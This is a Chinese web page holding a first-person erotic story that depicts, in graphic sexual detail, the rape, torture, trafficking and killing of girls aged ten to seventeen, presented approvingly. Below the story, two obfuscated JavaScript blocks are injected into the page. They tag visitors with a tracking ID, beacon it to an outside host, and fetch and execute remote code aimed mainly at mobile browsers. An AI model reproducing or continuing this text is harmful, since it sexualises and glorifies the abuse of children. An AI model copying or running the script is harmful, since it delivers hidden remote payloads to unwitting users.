图片载入中

幼女奸禁

特大字】 【大字】 【中字】 【小字

第一章录影带

我是一个没什么特别长处的高职生,目前离家租屋在神奈川县某高级公寓。我平时没什么嗜好,除了上网之外就是看看成人录影带。我的父亲是砯崎重工业的社长,所以我的生活一向过得相当豪奢,我住的公寓也是应有尽有。打算念完高职就到父亲公司做事。

我并不缺女人,但,有一天租来的一块录影带,却改变了我的一生。

那天,我租来几块影带,其中有一片很奇怪,叫做什么‘NONHAIR少女写真’,更奇怪的是盒子上除了片名之外,什么内容介绍,影片长度等都没有。于是我就把片子丢到录放影机中,片子是用v8还是V12之类的东西拍摄的,似乎是地下工厂出版的。

一开始有一个女孩子,大概十七八岁吧!穿着水手服式的制服登场,这简直令我想关机。

接着,她说了一些话,然后掀开裙子,露出一根体毛也没有的下体,干净的阴部就和小孩子一样可以清楚的见到肉缝。然后这女孩子就开始自慰,摄影机就一直对着她的下体做特写,直到她到达高潮,抽出湿润的手指。

极普通的剧情。

正当我摇摇头准备关掉这部无法刺激我的片子时,萤幕一白,显示出〝十六岁〞三个字,然后场景和剧情跟刚刚一样,重复一次。只是这次的女孩年纪比刚刚小了一点,同样穿着水手服,下体同样干干净净没有毛发,娇嫩的阴部比刚刚那女孩更美丽,散发着青春的气息,那条干净的粉红色小溪是整齐的一条缝,中央缓缓流出透明的汁液,沾湿了肉唇,会阴,大腿根…

一样以自慰达高潮,一阵经孪,大口的喘着气,白净的床上到处可见蜜汁和失禁的尿水。

接着又换另一个女孩,这次是十四岁,穿着国中生的白肩线黑衣和黑百折裙,乳房是那种青涩的椒乳,小而尖挺饱满,鲜嫩的粉红色乳头微微颤动着。

我此时已经有点受不了了,喉头干的难过,唿吸重又热。我竟然对这种刚发育完成(或许还没)的女孩感兴趣…

这个女孩似乎不太愿意作出像前面那两女孩的淫邪举动,一直低头扯着裙角,纤细如青葱般的纤指揉着百折裙。我想像着那双手搓着我的肉棒的美景…想像着那小嘴吸着我的肉袋…想像那对可爱的乳房任我吸啜玩弄…

这女孩似乎真的不想自慰…。

忽然旁边有男人的声音在骂她,接着一个白弱的男子(看起来活像吸毒犯)拿着高尔夫球杆朝那女孩狠狠的打下去。

我在他挥出杆子的刹那间握紧了拳头,这样的女孩应该是属于那种专门出生来给人疼爱,捧在手心的那种,稍不注意就会像瓷器一般在你手中破成碎片。这家伙居然这样对待如此可爱的女孩!以我的个性,若我在场,下一个被高尔夫球杆打到脑汁流到裤档的一定是他!

而那个拿摄影机拍摄的人却似乎习以为常,平静到连手也不会颤抖。

女孩哭了出来,倒在床上身体缩成一团,手揉按着被打的地方。眼见着男子又举起球杆恫吓她,她连忙伸出手护着头,哭叫着说她会做,求他不要打了。

男子扯开她的衣服,脱掉她的裙子,白净的身体上净是瘀血、红肿,还有像皮带鞭打的痕迹。刚刚被打的地方尤其严重,像是随时会渗出血珠来。

我以为那男子只是要给观看者看看这女孩身上的伤痕,岂知他竟也脱掉衣服和裤子,扯开女孩的双腿,狠狠的把阴茎塞入绯红色的嫩肉中。

女孩发出的声音我已经不会形容了,那是一种凄厉、撕心裂肺、绝体绝命的叫声,眼泪和痛苦的表情与男人狰狞淫邪的笑容形成强烈对比。我觉得我正在目睹一桩惊心动魄的强奸案。

痛苦失禁喷射的尿水,因背德感而达到高潮激射而出的爱液。象征男性快乐而至高无上的征服过程产生的战利品,激烈的暴冲进入少女的子宫深处。当阳具软缩离开阴户,子宫无法承受而逆流的精液便由被插得扭曲暴张的阴门流出,伴着血,纯洁的处女之血。

男人擦拭着阴茎上沾满的爱液、精液、处女血。女孩脸上都是水痕,是泪水和口角流出的唾液,瑟缩的卷曲身体哭着。强暴她的男人笑着穿起衣服。拿摄影机的这家伙居然说:“搞处女很爽吧?”

那白弱的家伙狞笑着:“夹得很紧呢!看不出感度这么高…”

接着画面又变白了。

我以为应该没有了,想不到萤幕上又打出〝十二岁〞的字样。

天啊!不会吧…

带蝴蝶结,脚穿着短短倒折的白袜子,旁边有一个男人在陪着他说话。

接着那男的解开制服扣子,白净的身体上只有两点可爱的粉红,乳房只是稍稍隆起。这女孩好像很喜欢被男人抚摸,因为男人柔捏她的小乳头时,她一直笑着说好痒,但是眼神和神态却完全像是妓院中的妓女勾引男人的神情。

男人要女孩张开小嘴,伸出舌头,接着就用自己的嘴去吸吮女孩的舌头,发出‘滋噜滋噜’的声音,好像那是全世界最好吃的珍馐。女孩除了享受这种口腔带来的快感,也伸出小手去抚摸男人内裤上的突出物,除了嘴里发出‘唔唔’的声音,口角也不断流出透明汁液。

接着男人除下女孩的裙子,很意外的,这女孩穿着一条内裤,背面有卡通图案的那种,内裤上有一道黄黄的尿渍,尿渍中央湿了一小块。男人把鼻子凑上去吸了几下,对女孩说道:“看看你,每次都不好好擦干净,会臭臭的喔。”

女孩道:“每次尿完要擦时,擦到那里都好舒服,会擦个没完,所以我都随便擦一下而已。”

“会比我舔你还舒服吗?”

“当然是哥哥舔比较舒服啰!快给我舔舔嘛!”

于是男人除下女孩的内裤,肉唇已经湿润无比,伸手摸上去就像吸住手指似的陷下去,随即又恢复弹性,阴蒂小小的,如同珍珠般散出粉红色的光晕。男人把女孩的脚弯到肩部,变成屁股朝向天花板的淫靡姿态,粉嫩嫩的小菊花一缩一缩的,男人就把舌头由肛门向阴户舔去,并把舌尖戳入肉缝中。女孩稚嫩的呻吟声就是世上最淫邪的乐章。

男人两手各伸出一只食指,扳开阴唇,微张的溪流露出两个肉洞,尿道口有点湿润,阴道口的肉圈却以极可爱的姿态缓缓收缩着,特写镜头下可以看到红艳的处女膜,这女孩的肉膜是属于二孔型的,不知是天生的还是被男人手指刺破的。

女孩忽然娇嗔起来:“哎呀,你把人家那里剥的那么开,会痛的!”

男人于是放开手指,改将其刺入肉洞中。

女孩‘嗯’的一声,手指抓住了被单。男人似乎不敢把手指伸入太深,只进去了一个指节,抽出来时拉出一丝透明黏液,整个指头湿润光亮。男人把手指送到女孩嘴边,她就伸出小舌头把自己的爱液舔食干净。

手指进进出出没多久,女孩尖叫一声,接着咬紧牙关,身子猛烈的颤抖了一下,阴户‘滋’一声溢出大量汁液,尿道口不久后也暴射出金色的喷泉,然后全身就软了下来,胸口起伏,不停喘气,身体泛出淡淡的红潮。身子未放平,蜜汁和尿水流到腹部胸口,画出一道道亮亮的水痕。

女孩张口喘气时,男人脱下自己内裤,那根比女孩手腕略粗的大阴茎就弹到肚子。

小女孩似乎很高兴,伸出双手握住套弄着,小小的舌头灵巧地在龟头上画画般的舔着。

忽然男人腰一挺,大阳具就塞入了女孩的小嘴中,女孩眼睛瞪大,嘴巴像是要被撑破一样的鼓着。男人剧烈的抽送着,完全把女孩的嘴当作阴部,女孩口角不断冒出白沫,那是唾液激烈搅拌的结果。接着男人虎吼一声,喘着气把阴茎抽离女孩的嘴,女孩喉咙像是在吞精液,不断鼓动着并发出饮水声,由于量太多有些由嘴边流出,或是阴茎离开时滴在胸口,女孩都用手指沾起来,像吃糖般的吃的干干净净。接着画面又变白了。

我想应该是〝不会〞还有了吧…

想不到,画面上打出了憷目惊心的两字:〝十岁〞

我的神经已经面临崩溃边缘。

这次出场的女孩全裸,身体完全是尚未发育的,柔弱无骨,绑着两跟小辫子,可爱至极。乳头突起,颜色是相当稀少珍贵的萤光粉红色。

一个大约十六七岁的男孩从背后抱着她,玩弄着她的乳头和软嫩的阴部。女孩呻吟着,那声音是有点害怕,却又由极度恐惧中得到快感而颤抖的声音。

那男孩不断的在她耳边说着淫邪的话如“你最怕羞的地方都湿了哟”、“想要插入哥哥的鸡鸡吗?”、“被男人摸这里很舒服吧?”这类的话。舌尖有时也舔着她的耳朵。

女孩下体开始湿润。男孩拼命的挖弄着阴部,把液体沾在手上吃下去。

忽然那个像吸毒犯的男人又出现了,递给男孩一根吸管,一个连着橡皮管和软胶管头的大注射器,一瓶像柳橙汁的东西,然后坐在一旁的地上。

男孩拿起吸管对女孩说:“多少有点痛,但你要忍耐。”

女孩忽然大哭大叫挣扎着:“不要!我不要啊!呜呜…妈妈…”

男人站起身,用拳头狠狠的往女孩腹部打去,女孩‘啊!’的一声,吐出不少水啦、食物啦,最后猛烈的呛咳,居然咳出血来!脸颊和嘴角都是呕吐物、胃液、泪水、腹腔的血。

男孩看女孩失去抵抗力,就把她的腰擡起来,放在自己腿上,然后手拨开嫩唇,捏起小小的阴核,露出尿道口,接着把吸管插入尿道口中,一寸一寸慢慢刺入深处。‘哇啊…’女孩哭嚎的程度比被强暴的初中生更甚。

吸管进去三分之二之后(大约十二公分,可能已经浸在膀胱中了。),男孩快速抽动吸管,接着露在外面的管口开始喷出透明的尿水,这是一种极为粗陋的导尿法。男人道:“美奈的尿水每次看都很漂亮,透明的没有臭味。”

男孩伸手用力压迫女孩的下腹部,水柱喷射的更快,把吸管给冲了出来。女孩喘着气,还嘤嘤的哭啼着。男孩却在动手把果汁似的液体吸入注射器中。

女孩以极微弱的声音哀求道:“求求你,放过我吧…..好痛喔…..呜…。”

注射器注满(我看到刻度是三百ml),男孩把女孩的脚拉开,粗暴的拨开尿道口,把软胶管头塞入。女孩咬了咬牙,拼命忍耐着。男孩接着把橡皮管慢慢挤入。女孩似乎真的很痛苦,拼命的抓着床单,腰部也不停扭动着。

管子好像碰到膀胱最深处而再也进不去了,男孩就开始推着活塞把果汁注入女孩体内。

“唔啊啊…我会死掉的…好痛苦啊…”女孩哭道。

“不要紧,隆子也做过的。”男人道。

随着果汁注入的量,女孩的下腹部也开始稍稍鼓起,表示膀胱内已经充满果汁。整个完成后,男孩又取出一只调酒或搅拌饮料的玻璃棒,前端有一个玻璃球,那球比尿道口大上两倍。男孩旋转着玻璃棒如同旋入螺丝钉般勉强把玻璃棒插入,然后用力抽插。

女孩哭叫了许久喊道:“尿出来了,要尿出来了啊…”

男孩立刻把玻棒抽出,旁边的男人立刻把嘴凑上去,女孩的尿眼喷出黄色的橙汁,男人张口全数喝下去。喷射的汁液渐渐变少,男人干脆用嘴贴着女孩的尿道口用力的吸食尿道中残余的果汁。女孩已经全身都软倒了,放任那男人吸吮自己的尿眼。当男人的嘴离开时,白晰的小肉唇上居然泛起红印,可见吸啜的力道有多大。画面变白,接着是一些字,说这些女孩都可以出售,货物种类齐全,各国都有,年龄八岁到十七岁,价格面议。

整卷带子到这里完结,停止转动。

我心狂跳,全身火热,有一种快要爆炸的感觉,那不是愤怒,而是一种奇妙的感觉。

我人生观在这一刻完全改变,我想要一个小女孩,当作随我玩弄奸淫的小性奴隶。我已经不想去看其他片子了,现在想到普通女孩下体那团黑亮卷曲的阴毛我就想呕吐。虽然我以前曾经疯狂的品尝它们,但我现在想要的却是一个干净纯洁,光滑幼嫩的阴部。它使我疯狂的手淫着,精液喷出的同时,我幻想着有个绑着辫子的小女孩高兴的舔着。

租期三天,这三天我天天不断的欣赏着这块带子,不停的幻想着。激烈的渴望如同野兽的利爪快要把我撕碎,我甚至在路上看到小女孩都想抓来享受那几乎可以夹断阴茎的窄小阴道。

我终于决定询问录影带出租店的老板带子从哪里来,这样就可以知道这些人在哪里,接着我就可以跟他们买一个小孩子来培养成性奴隶供我玩弄了。

我如果再不满足我这种生理及心理上的需求,我一定会崩溃,再不然就是因为强奸未成年幼童被叛死刑,像冲绳的美军一样。

想不到老板居然告诉我一件令我震惊的事。

==========================================================================

第二章幼女ソ天国

我决定不论付出多少代价都要买到一个小女孩。

从小,父亲就每个月都给我钜额的零用钱。但是一个小孩子能花掉多少?所以我只好把它们存起来,这些钱再加上我打工所得,大概也有六七百万(日币)。当我还录影带,准备问老板带子来源的时候,他居然主动问我:“孝之,看过之后感觉如何啊?是不是想要买个小女孩呢?”

我惊讶的张大了嘴,老板(安重)又继续说道:“看过这卷带子的客人每一个都有跟录这些带子的人接洽过,买了女孩回家调教,当然那是指有钱人而言。”“钱不是问题。不过我正在考虑,因为我还在念书,买女孩养的话可能没空照顾。”

“你们学校应该再过不久就放暑假了吧?”

“嗯。”

“这样吧,你就在放暑假前到我这里来一趟,由我带你去。”

“但是…”

“嗯?”

“不,没什么…只是,我认为我没信心可以把小女孩养好。”

“放心!他们会教你如何饲养,最多只要凶狠的打骂,女孩就会乖乖听话了。”老板说到这里,我又想到那个十四岁的女孩被毒打的情景。

我又借了几块带子回住处看,确如他们所说的,各种人种都有,有东南亚的,欧洲的和美国的,其中女孩子只要稍不听话,就会被严厉打骂。

我至此已经习以为常,渐渐不再感到她们很可怜。

————————————————————————–

终于暑假到了。

老板某天深夜打烊以后,带我到银座附近一栋超高级的公寓,据说这公寓十楼以上是以两百坪为一个单位出售,而贩卖女孩的集团在八楼有接洽处。拍录影带、调教女孩的场地则在十一楼。居然以超高级的两百坪公寓做场地,这集团实在太有钱了。到了八楼的接洽处,老板按了七次电铃,接着取出一张卡片从门上的一道恰好能放入卡片的小缝塞入。过了不久,对讲机的红灯亮了,(这对讲机很奇怪,是室内机和室外机相反的安装),老板拿起话筒小声说:“我是奴隶的主人”,接着卡片从缝隙中退了回来,门后响起解开门炼的声音,出来的是一个中年人,老板要我跟着他走。中年人领着我和老板搭电梯到十一楼,然后中年人在C座门口打了一通大哥大,C座的大门才缓缓开启,我被眼前的景象完完全全震摄住。

里面有许多各种年龄的小女孩,有些正在拍摄我看过的那种自慰影带,有些在帮男人口交,有些同时被两个男人插入阴户和肛门进行性交,没有在做这些事的则被关在一个大铁笼中,手脚都有手铐铐住,身上只穿一件内裤。旁边还有几个大书柜,放着录影带,写真集,以及一些性虐待专用的道具。

根据那些人说的价格是:十二岁以下两百万,十四岁以上一百八十万,东南亚和热带国家的减五十万,欧美人种加五十万(均为日币),未调教过的再加五十万。接着可以当场选,或是看目录由分部送到家里。

我在现场挑了一个十一岁的,长发及腰,长发中还绑着两条小辫子的可爱女孩,用刷卡和现金付了两百五十万。

那小女孩在我们要带离现场时被注射镇静剂,沈沈睡去,如果不这样做,怕会泄露这里的秘密,因为她可能会逃跑,或是大喊大叫。

我和老板道别之后,把女孩抱进我的公寓里。

我把女孩丢到床上,脱掉她的衣服,光洁细嫩的肌肤透着牛奶的香气,伸手摸去净是软腻的触感,私处干净整齐。这就是我为何选没有接受调教过的女孩的原因。女孩身子动了一下,‘唔’的一声由沈睡状态中醒来,看到自己一丝不挂,吓得尖叫起来,抓了身旁的棉被遮住身体。

“你…你是谁?”她的声音颤抖得很厉害。

我二话不说,扯开棉被,把她拦腰抱住,放在腿上,小小的屁股摩挲着我的腿,使我股间的肉棒狠狠的挺了起来。

这时她一直在挣扎想要挣脱我的怀抱,还踢我打我咬我。

盛怒之下,我的手抓着她的脖子后根,将她整个人提起来往衣橱丢去,我在学校是柔道校队,单手握力达到九十七公斤。女孩的身体撞上衣橱发出轰然巨响,肩胛骨好像脱臼一样发出‘卡’的一声,她痛得拼命哭喊,全身好像软掉站不起来。我随手拿起一条皮带对折,狠狠的往她身上抽去,那声音清脆无比,是一种黑暗的快乐的代表。雪白的肌肤上渐渐的泛出一条血红,然后渗出血珠,接着肌肉变黑。红黑两色可怖的景象伴着女孩的哭叫以及痛到无法忍受和极度惊吓而失禁泼洒出的金黄尿水将我的血液煮沸!女孩蜷曲颤抖的身体和哀求的表情使我心中的统御性格完全爆发。肉和皮带互触的声响丝毫没有停歇的响着,纷飞的血粉渐渐的洒在我的手上、身上、脸上…

女孩终于休克昏死过去,还好还有唿吸。

我确定她没有死亡之后手掌渐渐松开,皮带掉落到地面的瞬间我疯狂的吼叫…我拼命的用血黏黏的手扯着自己的头发,直到我痛得从野兽变回人….

我懦弱了,我抚着浑身是血的她哭着,哭着道歉…哭着认错…。向谁呢?我也不知道。

等我再度恢复意识,怀中的女孩身体已经冰冷,再也没有唿吸了,牛奶的香气变成腥臭的腐血味,原本柔软的身体僵硬得像是一块铁。

忽然,我觉得她好重好重。手一放,她的身体就无声无息的滚落…..

我我我我我我我我我我我我

杀杀杀杀杀杀杀杀杀杀杀杀

了了了了了了了了了了了了

人人人人人人人人人人人人

!!!!!!!!!!!!

————————————————————————–

“天啊!你怎么…把她搞成这样。”

我把尸体装入盛满干冰的厚纸箱中带去给老板看,老板惊讶的几乎说不出话。我只是在一旁不断的抹着脸,抹着头发,指甲中仍有清不掉的血块,乌黑的斑点像是寄宿在我身上的怨灵。

“我就说吧,像你这么没耐性的人,不应该买未调教的嘛…哇啊!”

我扯着老板的衣服把他按在录影带的架子上,“啰唆!人是我杀的,请你体谅我的心情!现在怎么办呢?啊?”

“先…先放手…我…不能说话啊…”

我松开手,“对…对不起,最近有点失去理智…”

“没办法,只好交给总公司处理了。”老板整整衣领,“像你这种情况也不是没有过,总公司会有办法处理的。”

然后老板打了一通电话。过了不久,一些穿黑西装的人开着加长型的黑凯迪拉克轿车停在门前走入店中。老板让他们看女孩的尸身,然后跟他们说了一些话,大概是责怪他们没有教导我如何饲养之类的…后来这些人用行动电话打了很多通好像是给〝总公司〞交涉是不是要向我收处理善后的费用。最后,有一个人向我说因为他们也有疏忽,所以这次就只收三百万,下次再这样就照旧收费(八百万)了。

车子载着装女孩尸身的纸箱开走了,远远的我看见车牌居然是某国外交部的车牌!

“伪造的啦!怕载尸体去处理的同时遇到警察临检嘛。”老板淡淡的说。

之后我也没心情逗留下去,走出录影带店,四处闲逛。

几天后的下午,老板带了一些杂志到我的住处来,要我多少看看,因为我这几天跟他说我还是没有放弃饲养小女孩调教成性奴隶,于是他就带了一些恋童者同盟的杂志来给我参考。

杂志内容的确很丰富,我渐渐发觉这些人都是用和自己熟络的小孩来调教,这些小孩对这些〝哥哥叔叔〞根本没有戒心,很容易得逞。如此一来,和我所进行的相较之下,他们就显的比较没有挑战性。不过杂志中所提到的部分调教手法倒是相当适用。

又过了几天,安重应我所求,再次带我到〝幼世纪〞去,这次我细心挑选,选了一个看起来相当伶俐可爱的长发女孩,根据店员的说法,这小孩叫木沅绫,十岁,稍微调教过,还是处女。我付了两百万,绫在被注射镇静剂之后由店员擡到我们的车上。

回程之中,我听取安重的建议,买了一座相当大的木制狗屋、皮项圈,和狗碗狗炼。这女孩绝对不能再失败,所以我决定按部就班慢慢调教。

回到公寓,我把绫用绳子学杂志上的SM绑法把她绑好,双手手腕和踝关节一起绑在背部,然后把她悬吊在单杠健身器上,接着再把大腿调整成性器完全露出到可以看见处女膜的程度,然后加两道绳索绑在健身器的两条垂直铁柱上。

因为悬空,重力加大的缘故,绫身上的绳索陷入肌肉非常深,敞开的性器散发出眩目的粉红,阴唇和洞口的肉圈微微的抽搐收缩着,阴蒂只是小小的一粒嫩肉,不仔细点几乎看不到。

此时绫悠悠的转醒,见到自己被紧紧的悬空绑起来,脸色苍白的说不出话。“怎么了?小美人?”我说道。

“你…你是谁?”

“我从今天开始是你的新主人,只要你乖乖听话,我保证你每天都能享受生理上的欢愉。但是如果你敢反抗…”我朝她脸上打了一巴掌。

她轻叱一声,白净的脸颊瞬间泛红,泪水也快速的滑落。

“比这还要痛的事情多的是,希望你不要逼我…”

接着我摸摸她红肿的脸颊,“其实我很喜欢你呢,绫…”

她这时已经开始抽泣,小小的双肩抖动着。

我伸出舌头舔食她的阴部,水嫩嫩的肉裂带着微酸的尿味,那是我最喜爱的味道,一般女性相当注重卫生,阴部都擦拭的很干净。小孩子大概还不懂得怎么清洁阴部,总是带点尿水味,尤其受到惊吓时,尿眼渗出的新鲜尿水,更是被恋童者当作圣水饮用。要保持排出的尿液不带臭味,唯一方法就是多让她喝水

肉唇紧缩着,似乎在排拒我的舌头。

忽然我发现绫的小屁眼皱折很少,也许是双腿被拉开的缘故吧,肛门口变成一圈鲜红的肉膜,伸手一摸就十分敏感的收缩着。

绫大叫:“不要…不要摸那个地方啊…啊啊…”

“最羞耻的地方都被看见了呢…..”,我舔舔食指,把它舔湿润后塞进绫的小屁眼。

‘哇啊…啊啊…’绫哭叫了起来。

因为我插的很用力,食指瞬间就进去半截,肛门口渗出一些血,大概是承受不了手指的插入吧。直肠壁狠狠的夹着手指,洞口的肌肉一直往内收缩,剧烈的疼痛使得绫尖声哭叫。我不管她的哭喊继续深入体内,直到整根食指没入,直肠壁上有黏黏的肠液,和半固体的新便。

我把新便挖出来,手指伸到绫眼前,“看!这是你体内的大便呢…”,然后我捏住她的双颊,把她嘴巴捏开,将那些褐色的软便抹在她舌上。

‘呜…呜啊…’

“吃下去!”

绫开始咳嗽,然后是剧烈的呕吐,当然是吐不出什么,因为她整天都还未进食。小小的舌头挂着长长的唾液伸在嘴外,腹部强烈收缩着,脸上布满汗水和泪,肛门红肿了起来。

而绫已经几乎快要哭到没有力气了。

我看她喘着气,嘴张的老大,于是拉开拉链,把老二塞入她口中,“不喜欢吃大便就喝尿吧!”然后把尿水尿在她嘴里。

她想吐出来,但是我的阳具塞满了她的嘴,她没有办法吐出来,只好尽数喝下。喉咙鼓动着,发出咕噜咕噜的声音。

当我的阴茎离开她的口腔时,她吞不下的尿水也一下子吐出来。

我拉好拉链时,听到她小声的求着我:“对…对不起…可以把我放下来吗?”

“做什么?”

“我…我想要上厕所…请你让我去…”

“想都别想!你必须在这里吊上一整天!”

“那我想上厕所的时候怎么办?”

我拿来一个水桶,放在她身体下方,对准排泄物可能排出的地方,“就这样解决吧!”

“我不要…拜托你…拜托…..”

她的声音越来越急,我则是冷冷的看着她。

终于,紧缩的尿道口一下子扩张开来,强劲的水柱怒射而出,叮叮咚咚的打在塑胶水桶里。

水势渐弱,绫也把头转过去,暗自哭泣着…


上一篇:姐妹门!教你们怎么强奸男人

下一篇:强奸处女学妹


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};